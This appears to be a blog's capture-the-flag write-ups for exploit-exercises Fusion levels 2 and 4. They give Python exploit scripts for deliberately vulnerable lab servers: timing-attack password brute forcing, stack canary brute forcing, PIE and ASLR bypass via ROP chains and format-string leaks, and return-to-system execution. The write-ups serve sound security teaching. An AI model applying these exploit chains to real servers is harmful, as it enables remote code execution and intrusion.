Fusion 4 Part 2

Hey guys and girls,

Here is a short recap of what we have and where we are standing, Fusion 4 – web server that works by forking a new child for each connection. We found a buffer overflow, we bypassed Source Fortification (Canary), we Found the load address of the binary and this way bypassed Position Independent executable (PIE).

For anyone who hasn’t read Fusion 4 – part 1 This is the time to go and read it 🙂

Game plan:

  1. Understand what are primitives.
  2. Find the main binary.
  3. Find Libc.
  4. Return into system with whatever commands you want to run on the target machine.

Primitives

I think it now is the time to talk about primitives. What are primitive in this exploitation world you might ask yourself. Well, a primitive, as suggested by it’s name is our ability to do something very simple and primitive. A real world exploit might be very complicated, but to understand how it works and to develop it, we will think and work with much simpler “tools” each of those tools will be called a primitive.

For example, Let’s say we found a way to read the content of a given address. We would call it an absolute memory read primitive. Or let’s say we know how to write whatever we want into a given address, that is an absolute memory write primitive. From now on we will try to talk and think in that new language. Because this is how the big boys talk.

New Game plan:

  1. Find an absolute memory read primitive.
  2. Read an address on the stack (Find the location of the stack)
  3. Read the location of libc by reading the .got.plt.
  4. Use the location libc, and the stack buffer to return into the function system in libc.

Absolute memory read primitive

As we have seen before, one of the most useful tools for breaking ASLR and exploiting vulnerabilities is having the Absolute memory read primitive. This primitive, in simple language it is the ability to read the content of any memory address we would like.

In earlier stages we got it by roping into printf with %s as format string, and a pointer to libc  we know we have in a constant offset in the main binary as the parameter to printf. We don’t need to reinvent the wheel and we will do it again in this stage. The only thing I have to say about it is that in this binary we had the address of __fprintf_chk and not of printf. (Remember we have the address of the binary and not of libc, so we can only call functions in the main binary).

Assume x is where the return address of the function was. Assume the format string of the printf contains %s

Here is the new code for this part.

def memory_read(password, canary, ebx, main_exe, address, length): 
  rop = [ 
  main_exe + 0xfc0, # address of _printf_chk 
  main_exe + 0xeb0, # address of exit, 
  1, # printing to stdout 
  main_exe + 0x2e66,# "Server: %s\r\n" 
  address,# address to read 
  ] 
  payload = ebx + "a" * 12 + ropchain_to_payload(rop) 
  memory = send_overflowed_request(password, canary, payload) 
  # Triming the output. 
  memory = memory[len("Server: "): -1 * len("\r\n")] 
  memory = memory[:length] 
  return memory 
 
def get_libc_address(password, canary, ebx, main_exe): 
  # reading the address of open in the .got.plt of the main exe 
  address_of_open = memory_read(password, canary, ebx, main_exe, main_exe + 0x41a4, 4)
  libc_address = buffer_to_address(address_of_open) - 0xc0b60 
  return libc_address 

def main(): 
  password = brute_force_password() 
  print "password is ", password 
  canary = brute_force_canary(password) 
  print "canary is ", canary.encode("hex") 
  # ebx, esi, edi, ebp, eip 
  ebx = brute_force_ebx(password, canary) 
  print "ebx is ", ebx.encode("hex") 
  main_exe = buffer_to_address(ebx) - 0x4118 
 
  raw_input("press any key to continue") 
  libc = get_libc_address(password, canary, ebx, main_exe) 

I run and test it, and it works.. Now we have the memory read primitive and the address of libc. We can cross items number 1 and 3 from our game plan.

Stack read primitive

Like I said, we want to be able to know the address of the stack pointer (which is changed by ASLR for each time the process restarts). To do that we will build a stack read primitive. Our stack read primitive will work just like the memory read primitive, the only difference is that we will not supply the printf format with a format string, this way whatever is on the stack after our overflow will be used as a pointer to a format string, with a little bit of luck* the stack will contain a pointer to a pointer to a stack address.

* Well, no luck is needed because saved ebp points to previous saved ebp until the first function call of the program. So we should be able to find one of these saved ebps.

After testing what I said in the previous 2 paragraphs, I figured out that in our case, After writing on the stack the overflow we need for memory read, we don’t have any saved ebp on the stack, It sucks, but we will have to find a different way to get our esp.

Stack read primitive – take 2

We already know how to read a given address in our memory. What if we could write the stack pointer into a given address and than read from it?

If you recall, In Fusion 3 I found out that we have the following gadget in libc:

1:
Push $esp
Jmp $esi

2:
Pop $ecx
Pop $edx
Ret

3:
Xchg [$edx], $ecx
Ret

Together I can write the stack pointer into whatever memory address I want. And later read from there with the memory read primitive we have. All I have to do is to find an address I can write into, and chain the memory read with the memory write of esp.

gadgets 1,2,3 will write ESP into “Storage for esp”. Rest of the stack will be used to print the content of “Storage for esp”

I did it and got an address which is 0x813 bytes from the end of my password in the buffer I control. Now I will pass a bash line on this buffer, call system and win.

new function:

 
def get_stack_address(password, canary, ebx, main_exe, libc_address): 
  # Unused in the .bss section 
  esp_storage = main_exe + 0x467f 
  rop = [ 
  # Writing esp to esp_storage 
  libc_address + 0x0015ffc9, # push esp; jmp esi 
  
  # pop ecx; pop edx; ret - in esi 
  esp_storage, 
  libc_address + 0x001633a0, # xchg [edx], ecx; ret 
  
  main_exe + 0xfc0, # address of _printf_chk 
  main_exe + 0xeb0, # address of exit, 
  1, # printing to stdout 
  main_exe + 0x2e66,# "Server: %s\r\n" 
  esp_storage, 
  ] 
  # second gadget 
  new_esi = address_to_buffer(libc_address + 0x0002da2b) 
 
  payload = ebx + new_esi + "1234" + "\x00"*4 + ropchain_to_payload(rop) 
  memory = send_overflowed_request(password, canary, payload) 
  # Triming the output. 
  memory = memory[len("Server: "): -1 * len("\r\n")] 
 
  # sizeof address 
  length = 4 
  memory = memory[:length] 
  # 0x813 is the distance between the address I get and the end of the 
  # password in the details buffer in validate_password. 
  return buffer_to_address(memory) - 0x813 

Exploit

The exploit is trivial, after we have the address of libc, and our buffer. We will overflow, return into the function system with our buffer as a parameter. The buffer will contain whatever we would like to run in system. If you really want to see it in code, look at any of the previous articles in this series 🙂

Fusion 4

Today we will try to solve Fusion 4. This level is a lot more complicated than the previous ones, so I might split it into 2 articles.

What we will do:

  1. Read and understand the program well.
  2. Find the stack overflow.
  3. Write a simple client.
  4. Verify our stack overflow.
  5. Find the location of the main binary
  6. Find libc.
  7. Find a known buffer.
  8. exploit.

Understanding the program:

The program is an http server that works as a fork-and-exec server. Seems like there is some kind of password that we will have to brute-force or something. To our “luck” the password is generated before the fork, so it will be the same as long as we don’t restart the father process. The server only implements http-get method which should return a file saved on the server. My guess is that we will find the vulnerability in parsing of the request or path to file.

We will also have to deal with Address Space Layout Randomization (ASLR), Position Independent Executable (PIE) which is ASLR for the main binary and Source Fortification whatever that means… seems like a fun program 🙂

Annnnddd, I found the buffer overflow. It is in the function validate_credentials we try to base64_decode “char * line” into “unsigned char details[2048]”, line is sent from  the function webserver and is part of “char line[10000]”. Seems like it would be easy to overflow.

Now let’s write the simple client. Ok after some playing and tweaking with my code the client works. And it can also overflow the stack buffer. But, The function send_error calls exit after sending its error. Which means we must have the right password when we overflow the buffer..

 
#! /usr/bin/env python 
import socket 
import string 
import time 
 
PORT = 20004 
HOST = "VM" 

def create_a_session(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  return s 
 
def send_request(method, path, protocol, auth, s = None): 
  if s == None: 
    s = create_a_session() 
 
  request = "{} {} {}\n".format(method, path, protocol) 
  s.send(request) 
  auth = "".join(auth.encode("base64").splitlines()) 
  request = "Authorization: Basic " + auth + "\n" 
  s.send(request) 
  s.shutdown(socket.SHUT_WR) 
 
  return s.recv(1000) 
def main(): 
  print send_request("GET", "/etc/hosts", "HTTP/1.0", "a" * 3000) 
 
if __name__ == "__main__": 
  main()

So this is our next task.

Cracking the password

If you read validate_credentials carefully, you will see that the delay after wrong password is affected by the number of wrong chars in the password. We will use it to brute force the password one char at a time. Consider this algorithm:

  1. Try all of the password in length 1
  2. Time every attempt.
  3. Choose the letter that had the fastest error returned for it

This way we can guess the entire password in O(n * m) instead of O(n^m)- where n is the length of the password and m is the size of the alphabet of the password.

 
def try_password(password): 
  s = create_a_session() 
  s.settimeout(4) 
  start_time = time.time() 
  send_request("GET", "/etc/hosts", "HTTP/1.0", password, s) 
  try: 
    s.recv(50) 
    end_time = time.time() 
  except socket.timeout, e: 
    print "Time out", 
    return False 
  total_time = end_time - start_time 
  return total_time 

POSSIBLE_PASSWORD_CHARS = string.ascii_letters + "".join([str(i) for i in range(0,10)])
PASSWORD_LENGTH = 16 
PASSWORD_CACHE = ":Ylp5kLoBgVSy7yCb" 
TIME_EPSILON = 0.0015 
def brute_force_password(): 
  all_password = ":" 
  roundtime_trip_time = 0 
 
  for i in range(10): 
    roundtime_trip_time += try_password("") 
    roundtime_trip_time = roundtime_trip_time / 10 
    time_treashold = roundtime_trip_time + TIME_EPSILON 
    print time_treashold 
    if (time_treashold > try_password(PASSWORD_CACHE)): 
      return PASSWORD_CACHE 
 
  for _ in range(PASSWORD_LENGTH): 
    for c in POSSIBLE_PASSWORD_CHARS: 
      temp_password = all_password + c 
      # try the password twice to make sure the timeout is not by accident 
      if (time_treashold > try_password(temp_password)) and (time_treashold > try_password(temp_password)):
        all_password = temp_password 
        break 
  if len(all_password) < PASSWORD_LENGTH: 
    print all_password 
    raise "WTF, can't brute force password" 
  return all_password 

We try to overflow the stack and this time we get this message:

*** stack smashing detected ***: /opt/fusion/bin/level04 terminated

After some investigation, I figure out that the Source Fortification contains a canary, and that our stack overflow, overflowed it. Seems because the canary is set when the process is created and is not changed for each forked child, we can bruteforce the canary as well.

gs:0x14 points to a value that is randomized once when the process starts. it is saved into a stack register at the last 2 op-codes of this block
gs:0x14 is compared to the value that we saved on the stack. And if it was overflowed by a different value the program will crash.

 

Brute forcing the whole canary is hard and would take us 2^32 attempts which is a lot. So, we are lucky enough that we can try to brute force one char (8 bits) at a time. This way we only need 2^8 * 4 attempts which is 1024 and a LOT less than 2**32.

It is super important to understand here that the reason we are allowed to brute force and we don’t care to crash the program is that the server is a father process that forks a different child process for each connection. all of the children have the same address space (and canary) and nothing bad happens if a child  process dies.

 
CACHED_CANARY = address_to_buffer(0xd6d1200) 
def brute_force_canary(password): 
  good_response = guess_canary(password, "") 
  cached_response = guess_canary(password, CACHED_CANARY) 
  if good_response == cached_response: 
    return CACHED_CANARY 
 
  canary = "" 
  for j in range(4): 
    for i in range(0x100): 
      response = guess_canary(password, canary + chr(i)) 
      if good_response == response: 
        canary += chr(i) 
        break 
  return canary 

def main(): 
  password = brute_force_password() 
  print "password is ", password 
  canary = brute_force_canary(password) 
  print "canary is ", canary.encode("hex") 

I coded this brute force and of the stack canary and it works. I confirmed it by letting the debugger crash and printing the registers we control:

eax            0x1      1
ecx            0x0      0
edx            0x0      0
ebx            0x62626262       1650614882
esp            0xbfce2ce0       0xbfce2ce0
ebp            0x62626262       0x62626262
esi            0x62626262       1650614882
edi            0x62626262       1650614882
eip            0x63636363       0x63636363
eflags         0x286    [ PF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

Yay for us!

Well, next thing we need to do is to find the main binary,

I run my client without overflowing $eip and the server crashes. It crashes here:

It crashes because of the value of esi is not correct. I compare it to the source code and it seems like this line it is this line:

Again we can brute force esi byte by byte, and we can probably find a stack buffer we control in a place relative to esi. If we guess esi correctly, we will get a certain response and if we will guess incorrectly, we will get a different response (probably a crash of the server and no response at all.)

I coded it but it didn’t work. After looking at the function “webserver” in ida, i understood that we overflow ebx and it is also an address of a stack buffer. And the program crashes before it returns any useful output with corrupted ebx. So let’s do what we said about esi but with ebx

In my case ebx was 0xb7804118. I compared it to the list of loaded image and found out it’s exactly 0x4118 bytes away from the main binary.

So we can say we found the load address of the main executable and that we have beaten PIE (Position Independent Executable). In this example. (a forking server we can crash infinite number of times while the address space won’t change)

Soooo, I coded a brute force for esi, but I get the first 2 bytes to be 0x01 and only then I get the right bytes of the address. I learn from it that we don’t need the right value of esi in order for the program to work as expected, only a value of an address which is mapped. I guess I would have to find another way to find esi (or the address of a stack variable).

So In this article we managed to:

  1. Understand the code.
  2. Find a buffer overflow.
  3. Find a password using Timing side channel attack.
  4. Brute force a canary.
  5. Find the load address of the executable (beating PIE )

We will continue with finding libc, a buffer and roping into system in the next article 🙂

Fusion 2

Another day another exploit!

This time we will be working on Fusion2 from exploit-exercises.com

It is a little bit harder than the previous 2 exercise that we solved here because it involves some crypto-wannabe function and some more mitigation that we haven’t seen before. The good news about the mitigation (non executable stack and heap) is that we didn’t try to execute code from the stack or heap last 2 levels so we should be fine.

Now go read the code of Fusion2 take as much time as you need. Find the buffer overflow. If you don’t understand what the program does. I believe you should learn how to program in C before you learn how to bugs in C code. 

Game plane

  1. Find the buffer overflow.
  2. Control the data being written to stack.
  3. Find the address of the stack
  4. Find the address of libc
  5. Call system with a predefined buffer.
  6. Go catch some sun at the beach!

The overflow:

Well, the buffer “buffer” is kept on the stack, the program receives a length n and then reads n bytes into this buffer, xors them with a secret key and then returns them back to you. In no stage this length is being verified to be shorter than the length of the buffer! Seems like we found our overflow. Now lets write a simple client to communicate with it and test it.

 
#! /usr/bin/env python 
import socket 
import struct 
import time 
 
PORT = 20002 
HOST = "VM" 
 
def send_encrypt_command(s, data): 
  s.send("E") 
  s.send(struct.pack("I", len(data))) 
  s.send(data) 
  time.sleep(0.1) 
  s.recv(len("[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\n")+1)
  output_length = struct.unpack("I",s.recv(4))[0] 
  print "reciveing output for encrypt command %d bytes"% (output_length, ) 
  return s.recv(output_length) 
 
def send_quit_command(s): 
  s.send("Q") 
 
def create_a_session(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  print "Reciving:\"%s\"" % (s.recv(1000), ) 
  return s 
 
def main(): 
  s = create_a_session() 
  send_encrypt_command(s, "a"* 5000) 
 
if __name__ == "__main__": 
  main() 

It seems to be working fine. Now lets connect with a debugger and see if we can crash it!

0x6c2ba758 in ?? ()
1: x/5i $eip
Disabling display 1 to avoid infinite recursion.
=> 0x6c2ba758:  Cannot access memory at address 0x6c2ba758

We crashed it! seems like we overflowed the stack buffer, but the crash address is pretty random. Well, a xor of a random number and our buffer.  We can’t really do anything with a crash in a random address…

Controlling the force:

Now let’s see if we can control the data we overflow with.  Back to examine the function cipher.

Seems like the cipher key is calculated once per connected client (It happens after the fork, which means that it happens once per child) and we get back our input xored with this key.

We know that X xor 0 = X for every X. So we will send a buffer full of zeros to be xored and returned to us. The output is the xor key for this connection.

Let’s code this new logic:

 
KEY_LENGTH = 32 
def get_encryption_key(s): 
  return send_encrypt_command(s, "\x00" * KEY_LENGTH) 
 
def xor_buffer(key, buff): 
  new_buff = [] 
  for i, b in enumerate(buff): 
    new_b = chr(ord(b) ^ ord(key[i % KEY_LENGTH])) 
    new_buff.append(new_b) 
  return "".join(new_buff) 
 
def send_overflowed_buffer(s, key, payload): 
  data = "a" * (32 * 4096) 
  data += payload 
  xored_data = xor_buffer(key, data) 
  return send_encrypt_command(s, xored_data) 
 
def main(): 
  s = create_a_session() 
  key = get_encryption_key(s) 
  send_overflowed_buffer(s, key, "bbbb" * 4 + "cccc") 
  send_quit_command(s) 

And run it, while being connected with a gdb

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 26424]
0x63636363 in ?? ()
1: x/5i $eip
Disabling display 1 to avoid infinite recursion.
=> 0x63636363: Cannot access memory at address 0x63636363
(gdb) info registers 
eax 0x51 81
ecx 0xbf916dbb -1080988229
edx 0x1 1
ebx 0xb771dff4 -1217273868
esp 0xbf936dd0 0xbf936dd0
ebp 0x62626262 0x62626262
esi 0x0 0
edi 0x0 0
eip 0x63636363 0x63636363
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $eax
0x51: <Address 0x51 out of bounds>
(gdb) x/s $ebx
0xb771dff4: "|}\027"
(gdb) x/s $ecx
0xbf916dbb: "Q", 'a' <repeats 32 times>"\247, \022"
(gdb) x/s $edx
0x1: <Address 0x1 out of bounds>

And it works, we control the return address! Notice that 0x64 is ‘c’ and 0x64646464 is “cccc”

So now that we control the return address lets see what else we need in order to get a working exploit. The way I like to roll, is to call system with a string I control.

To do that we need:

  1. Find libc
  2. Find how the address of a buffer we control (that will contain the line we would like to run.)

In order to find the address of libc, we can do a similar trick to the one we did in fusion1. This time we will just return into the function printf, with an address of a pointer to libc as a format string. This pointer can be found in  .got.plt of the executable.

def get_address_of_libc(): 
  s = create_a_session() 
  key = get_encryption_key(s) 
 
  payload = struct.pack("I", 0x8048870) #adddres of printf 
  payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf
  payload += struct.pack("I", 0x804b3c8) #adddres open in .got.plt, what we want to printf
  send_overflowed_buffer(s, key, "bbbb" * 4 + payload)  
  send_quit_command(s) 
  data = s.recv(1000) 
  data = data[:4] 
  address_of_open = struct.unpack("I", data)[0] 
  address_of_libc = address_of_open - 0xc0b60 
  return address_of_libc

Okey now that we have the address of libc, we just need to figure out how to get the address of a buffer we control so that we can pass it into system. (Actually controlling the stack and having the address of libc is enough but requires more complicated exploit script, we will see it in future article.)

Finding stack address

Remember we control the value of ecx? (it’s the string we input as file to encrypt), I run a search of usages of ecx in ida trying to find a place I can use it. And I come by this block of code:

What do we see here? It’s a call to the function fprintf with the format string being passed on $ecx. If we jump into this code  2 opcodes after the call to strerror, we can pass any format string we want to fprintf. And if I will pass enough %x’s I can read as much of the stack as I would like. Somewhere on the stack I expect to find and address of a stack variable.

I try to do it, and somehow this variable gets corrupted from some point, so I can’t send as many %x’s that I need. I connect with a debugger and figure out that the 12th stack variable is a pointer to a variable that is on the stack, I use the format %12$x to print it as a hex number. It prints the 12th-4 byte parameter on the stack as an hexadecimal number. I test it and it is exactly 0x200d8 bytes away from the buffer I control, which means that after getting it I can get the buffer address with simple math.

def get_address_of_buffer(): 
  s = create_a_session() 
  key = get_encryption_key(s) 
 
  payload = struct.pack("I", 0x8049346) #adddres of setting up and calling fprintf
  payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf
  # printf format that says, print the 12th stack parameter as hex number 
  prefix = "%12$x" + "\x00" * 4 
  send_overflowed_buffer(s, key, "bbbb" * 4 + payload, prefix = prefix) 
  send_quit_command(s) 
  data = s.recv(1000) 
  # The first printed char will be Q because of the quit command we must send. 
  stack_address = int(data[1:], 16) 
  buffer_address = stack_address - 0x200d8 
  return buffer_address 

After that, exploiting is pretty easy. We just make sure the buffer starts with a line we want to run, say “touch /tmp/a”. And change the return address to return into the function system with the buffer as the first parameter. And that’s it.

def exploit(libc_address, buffer_address): 
  s = create_a_session() 
  key = get_encryption_key(s) 
 
  # calling system with buffer as parameter 
  payload = struct.pack("I", libc_address + 0x3cb20) #adddres of system 
  payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf
  payload += struct.pack("I", buffer_address) 
 
  prefix = "touch /tmp/a" + "\x00" * 4 
  send_overflowed_buffer(s, key, "bbbb" * 4 + payload, prefix = prefix) 
  send_quit_command(s) 
  time.sleep(0.1) 
  print s.recv(1000) 
 
def main(): 
  buffer_address = get_address_of_buffer() 
  libc_address = get_address_of_libc() 
  print "libc is at %x, buffer is at %x" %(libc_address, buffer_address) 
  exploit(libc_address, buffer_address) 
 
if __name__ == "__main__": 
  main()

 

Now I am going to the beach!

Not the beach I am going to

I would love to hear what you think about the article and the solution in the comments below.